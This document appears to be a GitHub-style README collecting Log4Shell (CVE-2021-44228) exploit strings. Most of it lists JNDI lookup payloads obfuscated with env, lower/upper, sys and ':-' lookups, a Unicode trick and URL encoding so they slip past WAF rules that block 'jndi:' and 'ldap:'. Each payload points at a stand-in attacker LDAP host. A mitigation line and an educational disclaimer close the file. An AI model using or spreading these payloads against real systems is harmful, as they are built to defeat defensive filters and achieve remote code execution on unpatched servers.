📝 Description

🐱‍💻 ✂️ 🤬 LOG4J Java exploit - A trick to bypass words blocking patches

CVE-2021-44228 works on:

log4j: 2.0 <= Apache log4j <= 2.14.1

Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+.

Windows Defender started to remove .java files that include jndi:ldap:....

Simple attacker script (Possible RCE):

${jndi:ldap://somesitehackerofhell.com/z}

WAF or developers started to block phrases:

• "ldap:"
• "jndi:"

to secure applications.

However, the attacker can bypass it by using one of these techniques:

1. System environment variables

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

From Apache Log4j 2 documentation: ${env:ENV_NAME:-default_value}

If there is no ENV_NAME system environment variable, use text after :-

The attacker can use any name instead of ENV_NAME, but it has to no exists.

On windows, you can check your system environment variables in PowerShell by writing:

dir env:

2. Lower or Upper Lookup

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}

Lower Lookup The LowerLookup converts the passed in argument to lower case. Presumably the value will be the result of a nested lookup.

${lower:<text>}

Upper Lookup The UpperLookup converts the passed in argument to upper case. Presumably the value will be the result of a nested lookup.

${upper:<text>}

3. "::-" notation

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}

4. Invalid Unicode characters with upper

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

ı get converted to i

5. System properties

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

If there is no SYS_NAME system property, use text after :-

6. ":-" notation

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}

7. HTML URL Encoding

Replace characters with:

• } with %7D
• { with %7B
• $ with %24

You can read more here HTML URL Encoding Reference

Testing

To test entry you can use:

• https://canarytokens.org/generate - Choose token Log4Shell (entry notification will be send by email or webhook), generate and replace somesitehackerofhell.com/z
• https://dnslog.cn/ - Generate subdomain and replace somesitehackerofhell.com/z

✨ Best solution to protect from CVE-2021-44228

Start your server with log4j2.formatMsgNoLookups set to true, or update to log4j-2.15.0-rc1 or later.

Keep it safe!

🤝 Show your support

Give a ⭐️ if you liked the content

Thanks to user Whatsec for more bypasses examples

📝 Useful links

• Apache Log4j 2 v. 2.15.0 - User's Guide
• Possible first publication of lower/upper bypass
• CVE-2021-44228(Apache Log4j Remote Code Execution
• HTML URL Encoding Reference

✔️ Disclaimer

This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.

I am not an author of CVE-2021-44228 and some bypasses